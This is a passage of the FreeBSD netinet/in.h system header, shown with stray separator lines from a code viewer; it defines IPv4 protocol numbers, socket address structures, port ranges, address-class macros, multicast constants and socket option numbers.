* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)in.h 8.3 (Berkeley) 1/3/94
|
||||
* $FreeBSD: head/sys/netinet/in.h 193217 2009-06-01 10:30:00Z pjd $
|
||||
*/
|
||||
|
||||
#ifndef _NETINET_IN_H_
|
||||
#define _NETINET_IN_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_types.h>
|
||||
#include <machine/endian.h>
|
||||
|
||||
/* Protocols common to RFC 1700, POSIX, and X/Open. */
|
||||
#define IPPROTO_IP 0 /* dummy for IP */
|
||||
#define IPPROTO_ICMP 1 /* control message protocol */
|
||||
#define IPPROTO_TCP 6 /* tcp */
|
||||
#define IPPROTO_UDP 17 /* user datagram protocol */
|
||||
|
||||
#define INADDR_ANY (u_int32_t)0x00000000
|
||||
#define INADDR_BROADCAST (u_int32_t)0xffffffff /* must be masked */
|
||||
|
||||
#ifndef _UINT8_T_DECLARED
|
||||
typedef __uint8_t uint8_t;
|
||||
#define _UINT8_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef _UINT16_T_DECLARED
|
||||
typedef __uint16_t uint16_t;
|
||||
#define _UINT16_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef _UINT32_T_DECLARED
|
||||
typedef __uint32_t uint32_t;
|
||||
#define _UINT32_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef _IN_ADDR_T_DECLARED
|
||||
typedef uint32_t in_addr_t;
|
||||
#define _IN_ADDR_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef _IN_PORT_T_DECLARED
|
||||
typedef uint16_t in_port_t;
|
||||
#define _IN_PORT_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef _SA_FAMILY_T_DECLARED
|
||||
typedef __sa_family_t sa_family_t;
|
||||
#define _SA_FAMILY_T_DECLARED
|
||||
#endif
|
||||
|
||||
/* Internet address (a structure for historical reasons). */
|
||||
#ifndef _STRUCT_IN_ADDR_DECLARED
|
||||
struct in_addr {
|
||||
in_addr_t s_addr;
|
||||
};
|
||||
#define _STRUCT_IN_ADDR_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef _SOCKLEN_T_DECLARED
|
||||
typedef __socklen_t socklen_t;
|
||||
#define _SOCKLEN_T_DECLARED
|
||||
#endif
|
||||
|
||||
/* Avoid collision with original definition in sys/socket.h. */
|
||||
#ifndef _STRUCT_SOCKADDR_STORAGE_DECLARED
|
||||
/*
|
||||
* RFC 2553: protocol-independent placeholder for socket addresses
|
||||
*/
|
||||
#define _SS_MAXSIZE 128U
|
||||
#define _SS_ALIGNSIZE (sizeof(__int64_t))
|
||||
#define _SS_PAD1SIZE (_SS_ALIGNSIZE - sizeof(unsigned char) - \
|
||||
sizeof(sa_family_t))
|
||||
#define _SS_PAD2SIZE (_SS_MAXSIZE - sizeof(unsigned char) - \
|
||||
sizeof(sa_family_t) - _SS_PAD1SIZE - _SS_ALIGNSIZE)
|
||||
|
||||
struct sockaddr_storage {
|
||||
unsigned char ss_len; /* address length */
|
||||
sa_family_t ss_family; /* address family */
|
||||
char __ss_pad1[_SS_PAD1SIZE];
|
||||
__int64_t __ss_align; /* force desired struct alignment */
|
||||
char __ss_pad2[_SS_PAD2SIZE];
|
||||
};
|
||||
#define _STRUCT_SOCKADDR_STORAGE_DECLARED
|
||||
#endif
|
||||
|
||||
/* Socket address, internet style. */
|
||||
struct sockaddr_in {
|
||||
#ifndef __linux__
|
||||
uint8_t sin_len;
|
||||
#endif
|
||||
sa_family_t sin_family;
|
||||
in_port_t sin_port;
|
||||
struct in_addr sin_addr;
|
||||
char sin_zero[8];
|
||||
};
|
||||
|
||||
#if !defined(_KERNEL) && __BSD_VISIBLE
|
||||
|
||||
#ifndef _BYTEORDER_PROTOTYPED
|
||||
#define _BYTEORDER_PROTOTYPED
|
||||
__BEGIN_DECLS
|
||||
uint32_t htonl(uint32_t);
|
||||
uint16_t htons(uint16_t);
|
||||
uint32_t ntohl(uint32_t);
|
||||
uint16_t ntohs(uint16_t);
|
||||
__END_DECLS
|
||||
#endif
|
||||
|
||||
#ifndef _BYTEORDER_FUNC_DEFINED
|
||||
#define _BYTEORDER_FUNC_DEFINED
|
||||
#define htonl(x) __htonl(x)
|
||||
#define htons(x) __htons(x)
|
||||
#define ntohl(x) __ntohl(x)
|
||||
#define ntohs(x) __ntohs(x)
|
||||
#endif
|
||||
|
||||
#endif /* !_KERNEL && __BSD_VISIBLE */
|
||||
|
||||
#if __POSIX_VISIBLE >= 200112
|
||||
#define IPPROTO_RAW 255 /* raw IP packet */
|
||||
#define INET_ADDRSTRLEN 16
|
||||
#endif
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
/*
|
||||
* Constants and structures defined by the internet system,
|
||||
* Per RFC 790, September 1981, and numerous additions.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Protocols (RFC 1700)
|
||||
*/
|
||||
#define IPPROTO_HOPOPTS 0 /* IP6 hop-by-hop options */
|
||||
#define IPPROTO_IGMP 2 /* group mgmt protocol */
|
||||
#define IPPROTO_GGP 3 /* gateway^2 (deprecated) */
|
||||
#define IPPROTO_IPV4 4 /* IPv4 encapsulation */
|
||||
#define IPPROTO_IPIP IPPROTO_IPV4 /* for compatibility */
|
||||
#define IPPROTO_ST 7 /* Stream protocol II */
|
||||
#define IPPROTO_EGP 8 /* exterior gateway protocol */
|
||||
#define IPPROTO_PIGP 9 /* private interior gateway */
|
||||
#define IPPROTO_RCCMON 10 /* BBN RCC Monitoring */
|
||||
#define IPPROTO_NVPII 11 /* network voice protocol*/
|
||||
#define IPPROTO_PUP 12 /* pup */
|
||||
#define IPPROTO_ARGUS 13 /* Argus */
|
||||
#define IPPROTO_EMCON 14 /* EMCON */
|
||||
#define IPPROTO_XNET 15 /* Cross Net Debugger */
|
||||
#define IPPROTO_CHAOS 16 /* Chaos*/
|
||||
#define IPPROTO_MUX 18 /* Multiplexing */
|
||||
#define IPPROTO_MEAS 19 /* DCN Measurement Subsystems */
|
||||
#define IPPROTO_HMP 20 /* Host Monitoring */
|
||||
#define IPPROTO_PRM 21 /* Packet Radio Measurement */
|
||||
#define IPPROTO_IDP 22 /* xns idp */
|
||||
#define IPPROTO_TRUNK1 23 /* Trunk-1 */
|
||||
#define IPPROTO_TRUNK2 24 /* Trunk-2 */
|
||||
#define IPPROTO_LEAF1 25 /* Leaf-1 */
|
||||
#define IPPROTO_LEAF2 26 /* Leaf-2 */
|
||||
#define IPPROTO_RDP 27 /* Reliable Data */
|
||||
#define IPPROTO_IRTP 28 /* Reliable Transaction */
|
||||
#define IPPROTO_TP 29 /* tp-4 w/ class negotiation */
|
||||
#define IPPROTO_BLT 30 /* Bulk Data Transfer */
|
||||
#define IPPROTO_NSP 31 /* Network Services */
|
||||
#define IPPROTO_INP 32 /* Merit Internodal */
|
||||
#define IPPROTO_SEP 33 /* Sequential Exchange */
|
||||
#define IPPROTO_3PC 34 /* Third Party Connect */
|
||||
#define IPPROTO_IDPR 35 /* InterDomain Policy Routing */
|
||||
#define IPPROTO_XTP 36 /* XTP */
|
||||
#define IPPROTO_DDP 37 /* Datagram Delivery */
|
||||
#define IPPROTO_CMTP 38 /* Control Message Transport */
|
||||
#define IPPROTO_TPXX 39 /* TP++ Transport */
|
||||
#define IPPROTO_IL 40 /* IL transport protocol */
|
||||
#define IPPROTO_IPV6 41 /* IP6 header */
|
||||
#define IPPROTO_SDRP 42 /* Source Demand Routing */
|
||||
#define IPPROTO_ROUTING 43 /* IP6 routing header */
|
||||
#define IPPROTO_FRAGMENT 44 /* IP6 fragmentation header */
|
||||
#define IPPROTO_IDRP 45 /* InterDomain Routing*/
|
||||
#define IPPROTO_RSVP 46 /* resource reservation */
|
||||
#define IPPROTO_GRE 47 /* General Routing Encap. */
|
||||
#define IPPROTO_MHRP 48 /* Mobile Host Routing */
|
||||
#define IPPROTO_BHA 49 /* BHA */
|
||||
#define IPPROTO_ESP 50 /* IP6 Encap Sec. Payload */
|
||||
#define IPPROTO_AH 51 /* IP6 Auth Header */
|
||||
#define IPPROTO_INLSP 52 /* Integ. Net Layer Security */
|
||||
#define IPPROTO_SWIPE 53 /* IP with encryption */
|
||||
#define IPPROTO_NHRP 54 /* Next Hop Resolution */
|
||||
#define IPPROTO_MOBILE 55 /* IP Mobility */
|
||||
#define IPPROTO_TLSP 56 /* Transport Layer Security */
|
||||
#define IPPROTO_SKIP 57 /* SKIP */
|
||||
#define IPPROTO_ICMPV6 58 /* ICMP6 */
|
||||
#define IPPROTO_NONE 59 /* IP6 no next header */
|
||||
#define IPPROTO_DSTOPTS 60 /* IP6 destination option */
|
||||
#define IPPROTO_AHIP 61 /* any host internal protocol */
|
||||
#define IPPROTO_CFTP 62 /* CFTP */
|
||||
#define IPPROTO_HELLO 63 /* "hello" routing protocol */
|
||||
#define IPPROTO_SATEXPAK 64 /* SATNET/Backroom EXPAK */
|
||||
#define IPPROTO_KRYPTOLAN 65 /* Kryptolan */
|
||||
#define IPPROTO_RVD 66 /* Remote Virtual Disk */
|
||||
#define IPPROTO_IPPC 67 /* Pluribus Packet Core */
|
||||
#define IPPROTO_ADFS 68 /* Any distributed FS */
|
||||
#define IPPROTO_SATMON 69 /* Satnet Monitoring */
|
||||
#define IPPROTO_VISA 70 /* VISA Protocol */
|
||||
#define IPPROTO_IPCV 71 /* Packet Core Utility */
|
||||
#define IPPROTO_CPNX 72 /* Comp. Prot. Net. Executive */
|
||||
#define IPPROTO_CPHB 73 /* Comp. Prot. HeartBeat */
|
||||
#define IPPROTO_WSN 74 /* Wang Span Network */
|
||||
#define IPPROTO_PVP 75 /* Packet Video Protocol */
|
||||
#define IPPROTO_BRSATMON 76 /* BackRoom SATNET Monitoring */
|
||||
#define IPPROTO_ND 77 /* Sun net disk proto (temp.) */
|
||||
#define IPPROTO_WBMON 78 /* WIDEBAND Monitoring */
|
||||
#define IPPROTO_WBEXPAK 79 /* WIDEBAND EXPAK */
|
||||
#define IPPROTO_EON 80 /* ISO cnlp */
|
||||
#define IPPROTO_VMTP 81 /* VMTP */
|
||||
#define IPPROTO_SVMTP 82 /* Secure VMTP */
|
||||
#define IPPROTO_VINES 83 /* Banyon VINES */
|
||||
#define IPPROTO_TTP 84 /* TTP */
|
||||
#define IPPROTO_IGP 85 /* NSFNET-IGP */
|
||||
#define IPPROTO_DGP 86 /* dissimilar gateway prot. */
|
||||
#define IPPROTO_TCF 87 /* TCF */
|
||||
#define IPPROTO_IGRP 88 /* Cisco/GXS IGRP */
|
||||
#define IPPROTO_OSPFIGP 89 /* OSPFIGP */
|
||||
#define IPPROTO_SRPC 90 /* Strite RPC protocol */
|
||||
#define IPPROTO_LARP 91 /* Locus Address Resoloution */
|
||||
#define IPPROTO_MTP 92 /* Multicast Transport */
|
||||
#define IPPROTO_AX25 93 /* AX.25 Frames */
|
||||
#define IPPROTO_IPEIP 94 /* IP encapsulated in IP */
|
||||
#define IPPROTO_MICP 95 /* Mobile Int.ing control */
|
||||
#define IPPROTO_SCCSP 96 /* Semaphore Comm. security */
|
||||
#define IPPROTO_ETHERIP 97 /* Ethernet IP encapsulation */
|
||||
#define IPPROTO_ENCAP 98 /* encapsulation header */
|
||||
#define IPPROTO_APES 99 /* any private encr. scheme */
|
||||
#define IPPROTO_GMTP 100 /* GMTP*/
|
||||
#define IPPROTO_IPCOMP 108 /* payload compression (IPComp) */
|
||||
#define IPPROTO_SCTP 132 /* SCTP */
|
||||
/* 101-254: Partly Unassigned */
|
||||
#define IPPROTO_PIM 103 /* Protocol Independent Mcast */
|
||||
#define IPPROTO_CARP 112 /* CARP */
|
||||
#define IPPROTO_PGM 113 /* PGM */
|
||||
#define IPPROTO_PFSYNC 240 /* PFSYNC */
|
||||
/* 255: Reserved */
|
||||
/* BSD Private, local use, namespace incursion, no longer used */
|
||||
#define IPPROTO_OLD_DIVERT 254 /* OLD divert pseudo-proto */
|
||||
#define IPPROTO_MAX 256
|
||||
|
||||
/* last return value of *_input(), meaning "all job for this pkt is done". */
|
||||
#define IPPROTO_DONE 257
|
||||
|
||||
/* Only used internally, so can be outside the range of valid IP protocols. */
|
||||
#define IPPROTO_DIVERT 258 /* divert pseudo-protocol */
|
||||
|
||||
/*
|
||||
* Defined to avoid confusion. The master value is defined by
|
||||
* PROTO_SPACER in sys/protosw.h.
|
||||
*/
|
||||
#define IPPROTO_SPACER 32767 /* spacer for loadable protos */
|
||||
|
||||
/*
|
||||
* Local port number conventions:
|
||||
*
|
||||
* When a user does a bind(2) or connect(2) with a port number of zero,
|
||||
* a non-conflicting local port address is chosen.
|
||||
* The default range is IPPORT_HIFIRSTAUTO through
|
||||
* IPPORT_HILASTAUTO, although that is settable by sysctl.
|
||||
*
|
||||
* A user may set the IPPROTO_IP option IP_PORTRANGE to change this
|
||||
* default assignment range.
|
||||
*
|
||||
* The value IP_PORTRANGE_DEFAULT causes the default behavior.
|
||||
*
|
||||
* The value IP_PORTRANGE_HIGH changes the range of candidate port numbers
|
||||
* into the "high" range. These are reserved for client outbound connections
|
||||
* which do not want to be filtered by any firewalls.
|
||||
*
|
||||
* The value IP_PORTRANGE_LOW changes the range to the "low" are
|
||||
* that is (by convention) restricted to privileged processes. This
|
||||
* convention is based on "vouchsafe" principles only. It is only secure
|
||||
* if you trust the remote host to restrict these ports.
|
||||
*
|
||||
* The default range of ports and the high range can be changed by
|
||||
* sysctl(3). (net.inet.ip.port{hi,low}{first,last}_auto)
|
||||
*
|
||||
* Changing those values has bad security implications if you are
|
||||
* using a stateless firewall that is allowing packets outside of that
|
||||
* range in order to allow transparent outgoing connections.
|
||||
*
|
||||
* Such a firewall configuration will generally depend on the use of these
|
||||
* default values. If you change them, you may find your Security
|
||||
* Administrator looking for you with a heavy object.
|
||||
*
|
||||
* For a slightly more orthodox text view on this:
|
||||
*
|
||||
* ftp://ftp.isi.edu/in-notes/iana/assignments/port-numbers
|
||||
*
|
||||
* port numbers are divided into three ranges:
|
||||
*
|
||||
* 0 - 1023 Well Known Ports
|
||||
* 1024 - 49151 Registered Ports
|
||||
* 49152 - 65535 Dynamic and/or Private Ports
|
||||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* Ports < IPPORT_RESERVED are reserved for
|
||||
* privileged processes (e.g. root). (IP_PORTRANGE_LOW)
|
||||
*/
|
||||
#define IPPORT_RESERVED 1024
|
||||
|
||||
/*
|
||||
* Default local port range, used by IP_PORTRANGE_DEFAULT
|
||||
*/
|
||||
#define IPPORT_EPHEMERALFIRST 10000
|
||||
#define IPPORT_EPHEMERALLAST 65535
|
||||
|
||||
/*
|
||||
* Dynamic port range, used by IP_PORTRANGE_HIGH.
|
||||
*/
|
||||
#define IPPORT_HIFIRSTAUTO 49152
|
||||
#define IPPORT_HILASTAUTO 65535
|
||||
|
||||
/*
|
||||
* Scanning for a free reserved port return a value below IPPORT_RESERVED,
|
||||
* but higher than IPPORT_RESERVEDSTART. Traditionally the start value was
|
||||
* 512, but that conflicts with some well-known-services that firewalls may
|
||||
* have a fit if we use.
|
||||
*/
|
||||
#define IPPORT_RESERVEDSTART 600
|
||||
|
||||
#define IPPORT_MAX 65535
|
||||
|
||||
/*
|
||||
* Definitions of bits in internet address integers.
|
||||
* On subnets, the decomposition of addresses to host and net parts
|
||||
* is done according to subnet mask, not the masks here.
|
||||
*/
|
||||
#define IN_CLASSA(i) (((u_int32_t)(i) & 0x80000000) == 0)
|
||||
#define IN_CLASSA_NET 0xff000000
|
||||
#define IN_CLASSA_NSHIFT 24
|
||||
#define IN_CLASSA_HOST 0x00ffffff
|
||||
#define IN_CLASSA_MAX 128
|
||||
|
||||
#define IN_CLASSB(i) (((u_int32_t)(i) & 0xc0000000) == 0x80000000)
|
||||
#define IN_CLASSB_NET 0xffff0000
|
||||
#define IN_CLASSB_NSHIFT 16
|
||||
#define IN_CLASSB_HOST 0x0000ffff
|
||||
#define IN_CLASSB_MAX 65536
|
||||
|
||||
#define IN_CLASSC(i) (((u_int32_t)(i) & 0xe0000000) == 0xc0000000)
|
||||
#define IN_CLASSC_NET 0xffffff00
|
||||
#define IN_CLASSC_NSHIFT 8
|
||||
#define IN_CLASSC_HOST 0x000000ff
|
||||
|
||||
#define IN_CLASSD(i) (((u_int32_t)(i) & 0xf0000000) == 0xe0000000)
|
||||
#define IN_CLASSD_NET 0xf0000000 /* These ones aren't really */
|
||||
#define IN_CLASSD_NSHIFT 28 /* net and host fields, but */
|
||||
#define IN_CLASSD_HOST 0x0fffffff /* routing needn't know. */
|
||||
#define IN_MULTICAST(i) IN_CLASSD(i)
|
||||
|
||||
#define IN_EXPERIMENTAL(i) (((u_int32_t)(i) & 0xf0000000) == 0xf0000000)
|
||||
#define IN_BADCLASS(i) (((u_int32_t)(i) & 0xf0000000) == 0xf0000000)
|
||||
|
||||
#define IN_LINKLOCAL(i) (((u_int32_t)(i) & 0xffff0000) == 0xa9fe0000)
|
||||
#define IN_LOOPBACK(i) (((u_int32_t)(i) & 0xff000000) == 0x7f000000)
|
||||
#define IN_ZERONET(i) (((u_int32_t)(i) & 0xff000000) == 0)
|
||||
|
||||
#define IN_PRIVATE(i) ((((u_int32_t)(i) & 0xff000000) == 0x0a000000) || \
|
||||
(((u_int32_t)(i) & 0xfff00000) == 0xac100000) || \
|
||||
(((u_int32_t)(i) & 0xffff0000) == 0xc0a80000))
|
||||
|
||||
#define IN_LOCAL_GROUP(i) (((u_int32_t)(i) & 0xffffff00) == 0xe0000000)
|
||||
|
||||
#define IN_ANY_LOCAL(i) (IN_LINKLOCAL(i) || IN_LOCAL_GROUP(i))
|
||||
|
||||
#define INADDR_LOOPBACK (u_int32_t)0x7f000001
|
||||
#ifndef _KERNEL
|
||||
#define INADDR_NONE 0xffffffff /* -1 return */
|
||||
#endif
|
||||
|
||||
#define INADDR_UNSPEC_GROUP (u_int32_t)0xe0000000 /* 224.0.0.0 */
|
||||
#define INADDR_ALLHOSTS_GROUP (u_int32_t)0xe0000001 /* 224.0.0.1 */
|
||||
#define INADDR_ALLRTRS_GROUP (u_int32_t)0xe0000002 /* 224.0.0.2 */
|
||||
#define INADDR_ALLRPTS_GROUP (u_int32_t)0xe0000016 /* 224.0.0.22, IGMPv3 */
|
||||
#define INADDR_CARP_GROUP (u_int32_t)0xe0000012 /* 224.0.0.18 */
|
||||
#define INADDR_PFSYNC_GROUP (u_int32_t)0xe00000f0 /* 224.0.0.240 */
|
||||
#define INADDR_ALLMDNS_GROUP (u_int32_t)0xe00000fb /* 224.0.0.251 */
|
||||
#define INADDR_MAX_LOCAL_GROUP (u_int32_t)0xe00000ff /* 224.0.0.255 */
|
||||
|
||||
#define IN_LOOPBACKNET 127 /* official! */
|
||||
|
||||
/*
|
||||
* Options for use with [gs]etsockopt at the IP level.
|
||||
* First word of comment is data type; bool is stored in int.
|
||||
*/
|
||||
#define IP_OPTIONS 1 /* buf/ip_opts; set/get IP options */
|
||||
#define IP_HDRINCL 2 /* int; header is included with data */
|
||||
#define IP_TOS 3 /* int; IP type of service and preced. */
|
||||
#define IP_TTL 4 /* int; IP time to live */
|
||||
#define IP_RECVOPTS 5 /* bool; receive all IP opts w/dgram */
|
||||
#define IP_RECVRETOPTS 6 /* bool; receive IP opts for response */
|
||||
#define IP_RECVDSTADDR 7 /* bool; receive IP dst addr w/dgram */
|
||||
#define IP_SENDSRCADDR IP_RECVDSTADDR /* cmsg_type to set src addr */
|
||||
#define IP_RETOPTS 8 /* ip_opts; set/get IP options */
|
||||
#define IP_MULTICAST_IF 9 /* struct in_addr *or* struct ip_mreqn;
|
||||
* set/get IP multicast i/f */
|
||||
#define IP_MULTICAST_TTL 10 /* u_char; set/get IP multicast ttl */
|
||||
#define IP_MULTICAST_LOOP 11 /* u_char; set/get IP multicast loopback */
|
||||
#define IP_ADD_MEMBERSHIP 12 /* ip_mreq; add an IP group membership */
|
||||
#define IP_DROP_MEMBERSHIP 13 /* ip_mreq; drop an IP group membership */
|
||||
#define IP_MULTICAST_VIF 14 /* set/get IP mcast virt. iface */
|
||||
#define IP_RSVP_ON 15 /* enable RSVP in kernel */
|
||||
#define IP_RSVP_OFF 16 /* disable RSVP in kernel */
|
||||
#define IP_RSVP_VIF_ON 17 /* set RSVP per-vif socket */
|
||||
#define IP_RSVP_VIF_OFF 18 /* unset RSVP per-vif socket */
|
||||
#define IP_PORTRANGE 19 /* int; range to choose for unspec port */
|
||||
#define IP_RECVIF 20 /* bool; receive reception if w/dgram */
|
||||
/* for IPSEC */
|
||||
#define IP_IPSEC_POLICY 21 /* int; set/get security policy */
|
||||
#define IP_FAITH 22 /* bool; accept FAITH'ed connections */
|
||||
|
||||
#define IP_ONESBCAST 23 /* bool: send all-ones broadcast */
|
||||
#define IP_BINDANY 24 /* bool: allow bind to any address */
|
||||
|
||||
#define IP_FW_TABLE_ADD 40 /* add entry */
|
||||
#define IP_FW_TABLE_DEL 41 /* delete entry */
|
||||
#define IP_FW_TABLE_FLUSH 42 /* flush table */
|
||||
#define IP_FW_TABLE_GETSIZE 43 /* get table size */
|
||||
#define IP_FW_TABLE_LIST 44 /* list table contents */
|
||||
|
||||
#define IP_FW_ADD 50 /* add a firewall rule to chain */
|
||||
#define IP_FW_DEL 51 /* delete a firewall rule from chain */
|
||||
#define IP_FW_FLUSH 52 /* flush firewall rule chain */
|
||||
#define IP_FW_ZERO 53 /* clear single/all firewall counter(s) */
|
||||
#define IP_FW_GET 54 /* get entire firewall rule chain */
|
||||
#define IP_FW_RESETLOG 55 /* reset logging counters */
|
||||
|
||||
#define IP_FW_NAT_CFG 56 /* add/config a nat rule */
|
||||
#define IP_FW_NAT_DEL 57 /* delete a nat rule */
|
||||
#define IP_FW_NAT_GET_CONFIG 58 /* get configuration of a nat rule */
|
||||
#define IP_FW_NAT_GET_LOG 59 /* get log of a nat rule */
|
||||
|
||||
#define IP_DUMMYNET_CONFIGURE 60 /* add/configure a dummynet pipe */
|
||||
#define IP_DUMMYNET_DEL 61 /* delete a dummynet pipe from chain */
|
||||
#define IP_DUMMYNET_FLUSH 62 /* flush dummynet */
|
||||
#define IP_DUMMYNET_GET 64 /* get entire dummynet pipes */
|
||||
|
||||
#define IP_RECVTTL 65 /* bool; receive IP TTL w/dgram */
|
||||
#define IP_MINTTL 66 /* minimum TTL for packet or drop */
|
||||
#define IP_DONTFRAG 67 /* don't fragment packet */
|
||||
|
||||
/* IPv4 Source Filter Multicast API [RFC3678] */
|
||||
#define IP_ADD_SOURCE_MEMBERSHIP 70 /* join a source-specific group */
|
||||
#define IP_DROP_SOURCE_MEMBERSHIP 71 /* drop a single source */
|
||||
#define IP_BLOCK_SOURCE 72 /* block a source */
|
||||
#define IP_UNBLOCK_SOURCE 73 /* unblock a source */
|
||||
|
||||
/* The following option is private; do not use it from user applications. */
|
||||
#define IP_MSFILTER 74 /* set/get filter list */
|
||||
|
||||
/* Protocol Independent Multicast API [RFC3678] */
|
||||
#define MCAST_JOIN_GROUP 80 /* join an any-source group */
|
||||
#define MCAST_LEAVE_GROUP 81 /* leave all sources for group */
|
||||
#define MCAST_JOIN_SOURCE_GROUP 82 /* join a source-specific group */
|
||||
#define MCAST_LEAVE_SOURCE_GROUP 83 /* leave a single source */
|
||||
#define MCAST_BLOCK_SOURCE 84 /* block a source */
|
||||
#define MCAST_UNBLOCK_SOURCE 85 /* unblock a source */
|
||||
|
||||
/*
|
||||
* Defaults and limits for options
|
||||
*/
|
||||
#define IP_DEFAULT_MULTICAST_TTL 1 /* normally limit m'casts to 1 hop */
|
||||
#define IP_DEFAULT_MULTICAST_LOOP 1 /* normally hear sends if a member */
|
||||
|
||||
/*
|
||||
* The imo_membership vector for each socket is now dynamically allocated at
|
||||
* run-time, bounded by USHRT_MAX, and is reallocated when needed, sized
|
||||
* according to a power-of-two increment.
|
||||
*/
|
||||
#define IP_MIN_MEMBERSHIPS 31
|
||||
#define IP_MAX_MEMBERSHIPS 4095
|
||||
#define IP_MAX_SOURCE_FILTER 1024 /* XXX to be unused */
|
||||
|
||||
/*
|
||||
* Default resource limits for IPv4 multicast source filtering.
|
||||
* These may be modified by sysctl.
|
||||
*/
|
||||
#define IP_MAX_GROUP_SRC_FILTER 512 /* sources per group */
|
||||
#define IP_MAX_SOCK_SRC_FILTER 128 /* sources per socket/group */
|
||||
#define IP_MAX_SOCK_MUTE_FILTER 128 /* XXX no longer used */
|
||||
|
||||
/*
|
||||
* Argument structure for IP_ADD_MEMBERSHIP and IP_DROP_MEMBERSHIP.
|
||||
*/
|
||||
struct ip_mreq {
|
||||
struct in_addr imr_multiaddr; /* IP multicast address of group */
|
||||
struct in_addr imr_interface; /* local IP address of interface */
|
||||
};
|
||||
|
||||
/*
|
||||
* Modified argument structure for IP_MULTICAST_IF, obtained from Linux.
|
||||
* This is used to specify an interface index for multicast sends, as
|
||||
* the IPv4 legacy APIs do not support this (unless IP_SENDIF is available).
|
||||
*/
|
||||
struct ip_mreqn {
|
||||
struct in_addr imr_multiaddr; /* IP multicast address of group */
|
||||
struct in_addr imr_address; /* local IP address of interface */
|
||||
int imr_ifindex; /* Interface index; cast to uint32_t */
|
||||
};
|
||||
|
||||
/*
|
||||
* Argument structure for IPv4 Multicast Source Filter APIs. [RFC3678]
|
||||
*/
|
||||
struct ip_mreq_source {
|
||||
struct in_addr imr_multiaddr; /* IP multicast address of group */
|
||||
struct in_addr imr_sourceaddr; /* IP address of source */
|
||||
struct in_addr imr_interface; /* local IP address of interface */
|
||||
};
|
||||
|
||||
/*
|
||||
* Argument structures for Protocol-Independent Multicast Source
|
||||
* Filter APIs. [RFC3678]
|
||||
*/
|
||||
struct group_req {
|
||||
uint32_t gr_interface; /* interface index */
|
||||
struct sockaddr_storage gr_group; /* group address */
|
||||
};
|
||||
|
||||
struct group_source_req {
|
||||
uint32_t gsr_interface; /* interface index */
|
||||
struct sockaddr_storage gsr_group; /* group address */
|
||||
struct sockaddr_storage gsr_source; /* source address */
|
||||
};
|
||||
|
||||
#ifndef __MSFILTERREQ_DEFINED
|
||||
#define __MSFILTERREQ_DEFINED
|
||||
/*
|
||||
* The following structure is private; do not use it from user applications.
|
||||
* It is used to communicate IP_MSFILTER/IPV6_MSFILTER information between
|
||||
* the RFC 3678 libc functions and the kernel.
|
||||
*/
|
||||
struct __msfilterreq {
|
||||
uint32_t msfr_ifindex; /* interface index */
|
||||
uint32_t msfr_fmode; /* filter mode for group */
|
||||
uint32_t msfr_nsrcs; /* # of sources in msfr_srcs */
|
||||
struct sockaddr_storage msfr_group; /* group address */
|
||||
struct sockaddr_storage *msfr_srcs; /* pointer to the first member
|
||||
* of a contiguous array of
|
||||
* sources to filter in full.
|
||||
*/
|
||||
};
|
||||
#endif
|
||||
|
||||
struct sockaddr;
|
||||
|
||||
/*
|
||||
* Advanced (Full-state) APIs [RFC3678]
|
||||
* The RFC specifies uint_t for the 6th argument to [sg]etsourcefilter().
|
||||
* We use uint32_t here to be consistent.
|
||||
*/
|
||||
int setipv4sourcefilter(int, struct in_addr, struct in_addr, uint32_t,
|
||||
uint32_t, struct in_addr *);
|
||||
int getipv4sourcefilter(int, struct in_addr, struct in_addr, uint32_t *,
|
||||
uint32_t *, struct in_addr *);
|
||||
int setsourcefilter(int, uint32_t, struct sockaddr *, socklen_t,
|
||||
uint32_t, uint32_t, struct sockaddr_storage *);
|
||||
int getsourcefilter(int, uint32_t, struct sockaddr *, socklen_t,
|
||||
uint32_t *, uint32_t *, struct sockaddr_storage *);
|
||||
|
||||
/*
|
||||
* Filter modes; also used to represent per-socket filter mode internally.
|
||||
*/
|
||||
#define MCAST_UNDEFINED 0 /* fmode: not yet defined */
|
||||
#define MCAST_INCLUDE 1 /* fmode: include these source(s) */
|
||||
#define MCAST_EXCLUDE 2 /* fmode: exclude these source(s) */
|
||||
|
||||
/*
|
||||
* Argument for IP_PORTRANGE:
|
||||
* - which range to search when port is unspecified at bind() or connect()
|
||||
*/
|
||||
#define IP_PORTRANGE_DEFAULT 0 /* default range */
|
||||
#define IP_PORTRANGE_HIGH 1 /* "high" - request firewall bypass */
|
||||
#define IP_PORTRANGE_LOW 2 /* "low" - vouchsafe security */
|
||||
|
||||
/*
|
||||
* Definitions for inet sysctl operations.
|
||||
*
|
||||
* Third level is protocol number.
|
||||
* Fourth level is desired variable within that protocol.
|
||||
*/
|
||||
#define IPPROTO_MAXID (IPPROTO_AH + 1) /* don't list to IPPROTO_MAX */
|
||||
|
||||
#define CTL_IPPROTO_NAMES { \
|
||||
